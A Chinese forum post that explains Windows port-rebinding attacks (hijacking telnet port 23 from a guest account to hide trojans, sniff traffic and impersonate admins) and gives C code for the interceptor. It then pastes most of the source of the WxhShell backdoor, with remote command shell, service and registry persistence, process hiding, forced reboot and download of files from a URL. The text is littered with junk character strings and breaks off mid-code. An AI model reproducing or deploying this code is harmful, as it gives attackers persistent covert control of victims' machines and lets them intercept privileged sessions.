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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: xg>AW Q  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); s=uWBh3J  
h{sY5d'D  
  saddr.sin_family = AF_INET; %](H?'H  
_%`<V!RT\  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); KP[H&4eoC  
#Ang8O@y  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); J6) &b7  
=:!$'q:  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 DsY$  
#n[1%8l,  
  这意味着什么?意味着可以进行如下的攻击: Yp_R+a^  
ppBIl6  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 P 3CzX48^  
$)5-}NJf'  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 5G-}'-R  
zJp@\Yo+  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 A|D]e)/6+B  
\*_@`1m  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  _v+mjDdQ  
.skR4f,h  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 .kGlUb?^Q  
8-wW?YTG  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 y8{PAH8S  
3>`CZ]ip}  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 2|1s!Q  
Y\qiYra  
  #include *$KUnd-T  
  #include 4rh*&'  
  #include v GF<  
  #include    ~[mAv #d&i  
  DWORD WINAPI ClientThread(LPVOID lpParam);   L-LN+6r (#  
  int main() BE;J/  
  { JVORz-uBs  
  WORD wVersionRequested; #0hX'8];(  
  DWORD ret; nVTCbV  
  WSADATA wsaData; kJJUu  
  BOOL val; H9["ZRL,Q  
  SOCKADDR_IN saddr; e*Gm()Vu,  
  SOCKADDR_IN scaddr; o@o6<OP^  
  int err; myVV5#{  
  SOCKET s; 9Q#eu~R  
  SOCKET sc; Zm:Wig ,a  
  int caddsize; _Gf.1Bsf@S  
  HANDLE mt; o H/4opV  
  DWORD tid;   _/W[=c   
  wVersionRequested = MAKEWORD( 2, 2 ); 6T}bD[h4?  
  err = WSAStartup( wVersionRequested, &wsaData ); "rjqDpH  
  if ( err != 0 ) { %r<c>sFJN  
  printf("error!WSAStartup failed!\n"); [Z5Lgg&  
  return -1; hm%'k~  
  } +q==Y/z  
  saddr.sin_family = AF_INET; R|%R-J]  
   Y=oj0(Q*  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 j;tT SNF  
P}%0YJ$6  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); J {gqm  
  saddr.sin_port = htons(23); Sd3KY9,  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &AMW?vO  
  { _u`NIpXSP  
  printf("error!socket failed!\n"); s_=/p5\  
  return -1; ~=Y <B/  
  } ICD(#m  
  val = TRUE; {QTrH-C  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 \}ujSr#<  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) wo>srZs  
  { EBY=ccGE{  
  printf("error!setsockopt failed!\n"); !OJ@ =y`i  
  return -1; ,t+5(qi  
  } S^@I4Z  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; sOJH$G3O  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 zFjG20w%3g  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 8?GS:+  
P&/PCSf  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ^N!l$&=  
  { *-timVlaE  
  ret=GetLastError(); 74c1i  
  printf("error!bind failed!\n"); D!. r$i)  
  return -1;  W t&tu2  
  } BX|+"AeF  
  listen(s,2); "+REv_:  
  while(1) L%8>deE>;D  
  { p_$03q>oQ  
  caddsize = sizeof(scaddr); X517PT8O  
  //接受连接请求 ^@ GE1  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); e&C(IEZ/N;  
  if(sc!=INVALID_SOCKET) kU8V,5  
  { )$/Gh&1G  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 2&E1)^  
  if(mt==NULL) [?<"SJ,`  
  { /3*75  
  printf("Thread Creat Failed!\n"); x@F"ZiYD@O  
  break; G 1{F_  
  } 8k$iz@e  
  } ,Ty>sZ#/fz  
  CloseHandle(mt); )* @Oz  
  } '|0Dt|$  
  closesocket(s); "`DCXn#mB  
  WSACleanup(); krTH<- P  
  return 0; bA-=au?o5  
  }   '#SacJ\L7  
  DWORD WINAPI ClientThread(LPVOID lpParam) Q{Gi**<  
  { #,O<E@E  
  SOCKET ss = (SOCKET)lpParam; ;T}#-`O_Im  
  SOCKET sc; }Po&6^  
  unsigned char buf[4096]; Yn,dM~|Cc  
  SOCKADDR_IN saddr; R/ 7G  
  long num; "t+VF 4r  
  DWORD val; ?op6_a-wm  
  DWORD ret; uG\ +`[-{0  
  //如果是隐藏端口应用的话,可以在此处加一些判断 E+$vIYq:W  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   x.r~e)x=  
  saddr.sin_family = AF_INET; t;9f7~  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [R j=k)aBm  
  saddr.sin_port = htons(23); <CL0@?*i9  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) D"F5-s7  
  { 0X\,!FL  
  printf("error!socket failed!\n"); @3bQ2jn   
  return -1; vN%zk(?T  
  } n 5NkjhP~Z  
  val = 100; )< ~1AL  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) OGNjn9av  
  { $|!VP'VI  
  ret = GetLastError(); {A4"KX(U  
  return -1; A%n l@`s,  
  } #.0^;M5Nh  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /<Cl\q2 A  
  {  tFvti5  
  ret = GetLastError(); :8U=L'4  
  return -1; 0-EhDGa]r  
  } |b'fp1</  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) + )?1F  
  { >?yaG=  
  printf("error!socket connect failed!\n"); q('O@-HA  
  closesocket(sc); oUEpzv,J  
  closesocket(ss); 3Juhn5&N  
  return -1; HoGrvt<:.P  
  } WO*YBH@  
  while(1) \>w[#4`m  
  { yqqP7  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 m~\BkE/[l  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 e9h T  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Kz!-w  
  num = recv(ss,buf,4096,0); p^+k:E>U  
  if(num>0) i/*&;  
  send(sc,buf,num,0); \cvui^^n  
  else if(num==0) @* L^Jgn  
  break; G*e/Ft.wf8  
  num = recv(sc,buf,4096,0); `9eE139V='  
  if(num>0) \1f$]oS  
  send(ss,buf,num,0); .l5y !?  
  else if(num==0)  %"j<`  
  break; lyKV^7}  
  } Mw7 ~:O`  
  closesocket(ss); ,;C92XY  
  closesocket(sc); y}ez js  
  return 0 ; E0}`+x  
  } [i.2lt#]  
 N\DEY]  
fR!'i):u  
========================================================== R{kZKD=  
wQ[~7 ,o  
下边附上一个代码,,WXhSHELL b mZRCvW>A  
Yd lXMddE  
========================================================== {Q^P<  
]*U\ gm%  
#include "stdafx.h" DM{ 7x77  
AV AF!Z  
#include <stdio.h> q~.\NKc  
#include <string.h> Q4-d2I>0  
#include <windows.h> qHg\n)R"x!  
#include <winsock2.h> T30!'F(*,  
#include <winsvc.h> g^"",!J/  
#include <urlmon.h> mgX0@#wFn  
/<s'@!W  
#pragma comment (lib, "Ws2_32.lib") ROr$ Sz  
#pragma comment (lib, "urlmon.lib") ;JA2n\iP,  
I-4csw<Qy  
#define MAX_USER   100 // 最大客户端连接数 gIep6nq1`|  
#define BUF_SOCK   200 // sock buffer T5,/;e  
#define KEY_BUFF   255 // 输入 buffer <r.f ?chf  
iSo+6gu   
#define REBOOT     0   // 重启 e2;19bj&  
#define SHUTDOWN   1   // 关机 Ua\g*Cxh  
2pH2s\r<UJ  
#define DEF_PORT   5000 // 监听端口 3Z NYR'  
):jK sP ,  
#define REG_LEN     16   // 注册表键长度 Z T95g  
#define SVC_LEN     80   // NT服务名长度 m C_v!nL.  
tTe\#o`  
// 从dll定义API &CF74AN#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); cysYjuI i  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); F4>}mIA  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ItHKpTe r  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); wx BQ#OE  
^o,Hu#  
// wxhshell配置信息 eI; %/6#  
struct WSCFG {  gvYa&N  
  int ws_port;         // 监听端口 $ w:QJ~,s  
  char ws_passstr[REG_LEN]; // 口令 #z-6mRB  
  int ws_autoins;       // 安装标记, 1=yes 0=no Fe%Q8RIh_  
  char ws_regname[REG_LEN]; // 注册表键名 `,tv&siSA  
  char ws_svcname[REG_LEN]; // 服务名 R*/%+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3\|e8(bc  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }k7@ X  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 soA>&b !?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no K&<bn22  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" lyfLkBF  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "T?%4^:g  
cIK-VmO  
}; 7EOn4I2@[  
6GMQgTY^  
// default Wxhshell configuration 5W>i'6*  
struct WSCFG wscfg={DEF_PORT, bw9a@X  
    "xuhuanlingzhe", 8fTuae$^  
    1, }&d]Uv/4  
    "Wxhshell", G<9MbMG  
    "Wxhshell", X3".  
            "WxhShell Service", L{N9h1]  
    "Wrsky Windows CmdShell Service", $T tCVR  
    "Please Input Your Password: ", >&RpfE[  
  1, v)!Rir5  
  "http://www.wrsky.com/wxhshell.exe", ?Q="w5OOD  
  "Wxhshell.exe" 5@P2Z]Q  
    }; mWsVOf>g  
:g}WN  
// 消息定义模块 <tMiI)0%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .T L0cfTo  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >1T=Aw2Z.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; s[nXr   
char *msg_ws_ext="\n\rExit."; {jcrTjmxe  
char *msg_ws_end="\n\rQuit."; ' ]l,  
char *msg_ws_boot="\n\rReboot..."; 4 (& W>E  
char *msg_ws_poff="\n\rShutdown..."; ;XSV}eLu  
char *msg_ws_down="\n\rSave to "; ox{)O/aj  
'D-eFJ5  
char *msg_ws_err="\n\rErr!"; Z9cch- u~  
char *msg_ws_ok="\n\rOK!"; M-,vX15S  
.8uJ%'$)  
char ExeFile[MAX_PATH]; `fu(  
int nUser = 0; BOrfKtG\  
HANDLE handles[MAX_USER]; ~zi6wu(3  
int OsIsNt; @ >%I\  
&=nwb4  
SERVICE_STATUS       serviceStatus; Uxn_nh  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~4.Tq{  
<QQgOaS`2  
// 函数声明 ea3AcT6  
int Install(void); H\W60|z9  
int Uninstall(void); ^j[>.D  
int DownloadFile(char *sURL, SOCKET wsh); *$Aneq0f  
int Boot(int flag); K!7o#"GM  
void HideProc(void); 25XD fi75  
int GetOsVer(void); iSUn}%YFz!  
int Wxhshell(SOCKET wsl); /PE3>"|wE  
void TalkWithClient(void *cs); o_t2 Z  
int CmdShell(SOCKET sock); \kF}E3~+#  
int StartFromService(void); eA$9)K1GO  
int StartWxhshell(LPSTR lpCmdLine); J~V`"uo  
e57}.pF^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); IfF<8~~E  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3:&!Q*i;  
-8HIsRh  
// 数据结构和表定义 l"*qj#FD  
SERVICE_TABLE_ENTRY DispatchTable[] = ;VSHXU'H  
{ z|=l^u6uS  
{wscfg.ws_svcname, NTServiceMain}, >7!4o9)c  
{NULL, NULL} B%6>2S=E  
}; T-xcd  
pR4{}=g,  
// 自我安装 Yn+/yz5k_  
int Install(void) _Xlf}BE  
{ xop9*Z$  
  char svExeFile[MAX_PATH]; &dp(CH<De  
  HKEY key; B#&U5fSw+0  
  strcpy(svExeFile,ExeFile); Dp8YzWL2^  
57Y(_h:  
// 如果是win9x系统,修改注册表设为自启动 :iD( [V  
if(!OsIsNt) { y)t< r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *^bqpW2$q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R;.zS^LL  
  RegCloseKey(key); sEt5!&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y>'^<xk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OthQ)&pq X  
  RegCloseKey(key); 30-XFl  
  return 0; W#$ pt>h)  
    } -\b~R7VQ  
  } (~?P7RnU%  
} tbJB0T|G  
else { 9`f]Rf"  
sg;G k/]  
// 如果是NT以上系统,安装为系统服务 0t*JP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); bLUn>ch  
if (schSCManager!=0) :O-Y67>&  
{ \om$%FUP  
  SC_HANDLE schService = CreateService 68V66:0  
  ( oZHsCQ%  
  schSCManager, sw6]Bc  
  wscfg.ws_svcname, A-aukJg9  
  wscfg.ws_svcdisp, n7i;^=9 mM  
  SERVICE_ALL_ACCESS, IFlDw}M!9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3+u11'0=t  
  SERVICE_AUTO_START, %L.,:mtq)  
  SERVICE_ERROR_NORMAL, )?^0<l#s  
  svExeFile, (Gf1#,/3~  
  NULL, cF_ Y}C  
  NULL, PaP47>(  
  NULL, \|BtgT*$b  
  NULL, 'b]GcAL  
  NULL '*MNRduE6  
  ); ..UmbJJ.u  
  if (schService!=0) tu#VZAPW@  
  { sn '#]yM  
  CloseServiceHandle(schService); +v2Fr}  
  CloseServiceHandle(schSCManager); }_u1'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &, hhH_W  
  strcat(svExeFile,wscfg.ws_svcname); rbS67--]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (s4w0z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %*>=L$A  
  RegCloseKey(key); u7ZSs-LuHw  
  return 0; wo5"f}vd#  
    } oJK1~;:  
  } v3x_8n$C9  
  CloseServiceHandle(schSCManager); dqwAQ-x  
} |G&<@8O  
} \\AufAkJ  
;f#%0W{":  
return 1; lO3$V JI  
} ZE.nB- H  
xbnx*4o0  
// 自我卸载 h-+9Bv]  
int Uninstall(void) 5"%r,GMU  
{ I7ZY9W(S  
  HKEY key; }`E5I&r4  
Rx<m+=  
if(!OsIsNt) { 2Vas`/~u~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `*mctjSN  
  RegDeleteValue(key,wscfg.ws_regname); jq yqOhb4  
  RegCloseKey(key); Q#Q]xJH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j$'L-kK+  
  RegDeleteValue(key,wscfg.ws_regname); zPEx;lO$  
  RegCloseKey(key); jku_0Q0*?  
  return 0; 4G"T{A`O  
  } oXRmnt  
} -lV]((I&  
} G7yCGT)vQ  
else { h}k&#X)7  
Eo 5p-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); f=]+\0MQ  
if (schSCManager!=0) Gl}[1<~o  
{ Ox7v*[x'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #|k;nFJ  
  if (schService!=0) qL.1N~$2  
  { VC5LxA0{  
  if(DeleteService(schService)!=0) { _p<W  
  CloseServiceHandle(schService); FivgOa  
  CloseServiceHandle(schSCManager); `9E:V=  
  return 0; @GDe{GG+  
  } )8VrGg?  
  CloseServiceHandle(schService); @]P#]%^D2  
  } 3}e-qFlV8,  
  CloseServiceHandle(schSCManager); CG*eo!Nw  
} };6[Byf  
} nAPSs]D  
{G&*\5W  
return 1; $"1Unu&P  
} ~Mbo`:>(4v  
=)5O(h  
// 从指定url下载文件 ((&_m9a  
int DownloadFile(char *sURL, SOCKET wsh) 9g3e( z@  
{ zs|R#?a=  
  HRESULT hr; 0$NcxbM  
char seps[]= "/"; S L<P`H|  
char *token; OF J49X  
char *file; Kq#\P  
char myURL[MAX_PATH]; Fka&\9i  
char myFILE[MAX_PATH]; !2R~/Rg  
CB_ww=  
strcpy(myURL,sURL); t0h @i`  
  token=strtok(myURL,seps); H&\[iZ| -N  
  while(token!=NULL) -9TNU7^  
  { \H|tc#::{  
    file=token; d/5i4g[q  
  token=strtok(NULL,seps); /.B7y(  
  } x O?w8*d  
8oiO:lyLSt  
GetCurrentDirectory(MAX_PATH,myFILE); p vone,y2  
strcat(myFILE, "\\"); kx&Xk0F_g  
strcat(myFILE, file); )d5H v2/0  
  send(wsh,myFILE,strlen(myFILE),0); Lf0Y|^!S_u  
send(wsh,"...",3,0); 3Kuu9< 0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !iUFD*~r~  
  if(hr==S_OK) >a/]8A  
return 0; ~R^~?Y%+<  
else tmT/4Ia  
return 1; C#{s[l\]  
HwfBbWHr'  
} 1bjhEO W  
"P.H  
// 系统电源模块 Z Ear~  
int Boot(int flag) {=mf/3.r  
{ 9n4vuBgv  
  HANDLE hToken; Lt`d {s  
  TOKEN_PRIVILEGES tkp; uc;1{[5`1q  
\GhL{Awv&a  
  if(OsIsNt) {  h0}r#L  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4UwXrEQp  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); u~SvR~OE  
    tkp.PrivilegeCount = 1; Hl-!rP.?0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?^I\e{),c  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #-vuY#gs  
if(flag==REBOOT) { _2uRY  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !bs{/?  
  return 0; V&nTf100  
} lh^-L+G:Ok  
else { L3}n(K AJj  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) M~% ~y`D^  
  return 0; "<['W(  
} }]O* yFR{j  
  } qJV2x.!  
  else { 'YQ^K`lV  
if(flag==REBOOT) { ;Z>u]uK4+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .axJ'*~W  
  return 0; 3sr> ?/>:  
} `;KU^dH  
else { CB V(H$d  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,liFo.kT8%  
  return 0; MI8f(ZJK5  
} ZqT8G  
} R\DdU-k  
 B=)&43)\  
return 1; t6-He~  
} fKEZlrw  
/$ a>f>EJ  
// win9x进程隐藏模块 mL\_C9k,n  
void HideProc(void) WRa1VU&f  
{ Fu0"Asxce  
`y"(\1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); W)F<<B,  
  if ( hKernel != NULL ) JF{yhx,+ p  
  { U~9Y9qzy,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); P`z#tDT^"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); v9?hcJ=  
    FreeLibrary(hKernel); R"@J*\;$T  
  } H}v.0R  
]x)^/ d  
return; $glt%a  
} 2AYV9egZ  
p@B/S(Xi  
// 获取操作系统版本 +=.>9  
int GetOsVer(void) hG1\  
{ %{M_\Ae#  
  OSVERSIONINFO winfo; IQz"FH?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); rq#8}T>  
  GetVersionEx(&winfo); ]rwHr;.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) kH;DAphk  
  return 1; =[A5qwyv  
  else BhAWIH8@C  
  return 0; M$Sq3m`{!  
} k OYF]^uJ  
8&[Lr o9  
// 客户端句柄模块 h"C7l#u  
int Wxhshell(SOCKET wsl) U&F1}P$fb  
{ 2pr#qh8  
  SOCKET wsh; 7Iz%Jty  
  struct sockaddr_in client; p2m@0ou  
  DWORD myID; ~rnbuIh  
ub/Z'!  
  while(nUser<MAX_USER) `.oWmBey\  
{ L@mNfLK  
  int nSize=sizeof(client); kmNa),`{s  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^Om0~)"q  
  if(wsh==INVALID_SOCKET) return 1; \xCI8 *W  
Z<_"Tk;!',  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 'gBGZ?^N!U  
if(handles[nUser]==0) &# [w*t(A  
  closesocket(wsh); s&Bk@a8  
else rC !!X  
  nUser++; @=i- *U  
  } N@qP}/}8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <@F.qMl  
bQ%6z}r  
  return 0; \,n|V3#G  
} T[?wbYfW  
Uz4!O  
// 关闭 socket ~wejy3|@0  
void CloseIt(SOCKET wsh) 3/?^d;=  
{ )GT*HJR(vc  
closesocket(wsh); g3V bP  
nUser--; .Iu8bN(L`  
ExitThread(0); ~mSW.jy}=-  
} yT$CImP73  
T<o^f n,H  
// 客户端请求句柄 EWb'#+BP  
void TalkWithClient(void *cs) k<&zVV '  
{ xYmh{Vc8  
 dmR>u  
  SOCKET wsh=(SOCKET)cs; %yyvB5Y^  
  char pwd[SVC_LEN]; D,3Kx ^  
  char cmd[KEY_BUFF]; s0zN#'o]  
char chr[1]; E{wnhsl{  
int i,j; sn!E$ls3O  
Q1 t-Z; X  
  while (nUser < MAX_USER) { kT@m*Etr{  
DPWt=IFU  
if(wscfg.ws_passstr) { l1M %   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AfAlDM'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g)3HVAT  
  //ZeroMemory(pwd,KEY_BUFF); Vx Vpl@  
      i=0; (^{tu89ab  
  while(i<SVC_LEN) { '3i,^g0?t0  
]2_b_ok  
  // 设置超时 ^y,Ex;6o  
  fd_set FdRead; Za110oF  
  struct timeval TimeOut; ~M c'~:{O  
  FD_ZERO(&FdRead); U}yq*$N  
  FD_SET(wsh,&FdRead); e7_.Xr~[  
  TimeOut.tv_sec=8; u# TNW.  
  TimeOut.tv_usec=0; '9ki~jtf=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); a<NZC  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); W>E/LBpE4  
+!~"o oQZh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K]{x0A  
  pwd=chr[0]; @%^JB  
  if(chr[0]==0xd || chr[0]==0xa) { #NyfE|MKBC  
  pwd=0; DXa!"ZU  
  break; i-jrF6&  
  } P Nf_{4  
  i++; OGR2Y  
    } SzTa[tJ+  
2FVO@D  
  // 如果是非法用户,关闭 socket "y9]>9:$-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X7~^D[ X  
} R9&3QRW|  
4@mK:v %  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i^SPNs=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K\trT!I  
w-j^jU><3  
while(1) { L-9 AJk>V  
c%+_~iBUN  
  ZeroMemory(cmd,KEY_BUFF); o#Viz:  
u]z87#4  
      // 自动支持客户端 telnet标准   PY@BgL=/  
  j=0; 5Ic'6AIz  
  while(j<KEY_BUFF) { @* <`*W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'PqKb%B|  
  cmd[j]=chr[0]; ~Fe$/*v  
  if(chr[0]==0xa || chr[0]==0xd) { +:_;K_h  
  cmd[j]=0; KXiStwS  
  break; 1a]P+-@u[  
  } J*Q+$Ai~  
  j++; W%wc@.P  
    } Q$*JkwPQ}  
*UZd !a)  
  // 下载文件 !{+a2wi  
  if(strstr(cmd,"http://")) { V<i_YLYmJe  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); W]oILL"d  
  if(DownloadFile(cmd,wsh)) 1KadT7<0}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @$|8zPs  
  else "(YfvO+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #z5$_z?_  
  } 4M )oA|1w  
  else { $vLGX>H  
98rO]rg  
    switch(cmd[0]) { .Cu0G1  
   u*m|o8  
  // 帮助 d6XdN  
  case '?': { j0~ dJ#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); GboZ T68  
    break; [y&uc  
  } <dKHZ4  
  // 安装 -y'tz,En.  
  case 'i': { 3(,c^F  
    if(Install()) bs_< UE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %D49A-R  
    else Y_FQB K U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5|A"YzY#  
    break; xqpq|U  
    } z^o7&\:  
  // 卸载 -7IRlP&  
  case 'r': { HLX  #RQ  
    if(Uninstall()) Sw.Kl 0M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mM2DZ^"j(  
    else EEP&Y?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Od+nBJ   
    break; ~hb;kc3  
    } 8 +mW  
  // 显示 wxhshell 所在路径 &e3pmHp'  
  case 'p': {  (,R\6  
    char svExeFile[MAX_PATH]; A\})H  
    strcpy(svExeFile,"\n\r"); 7?ILmYBw  
      strcat(svExeFile,ExeFile); F*J bTEOn  
        send(wsh,svExeFile,strlen(svExeFile),0); jGUegeq  
    break; b=kY9!GN,v  
    } L>n^Q:M  
  // 重启 "#8I &xZK  
  case 'b': { zXW;W$7V4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Dn48?A[v  
    if(Boot(REBOOT)) MP p    
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |)OC1=As  
    else { #!C|~=  
    closesocket(wsh); 5^N y6t  
    ExitThread(0); n(9$)B_y  
    } ~cf)wrP  
    break; K?u:-QX^  
    } Ie}7#>S  
  // 关机 sitgz)Ki^  
  case 'd': { Q">wl  
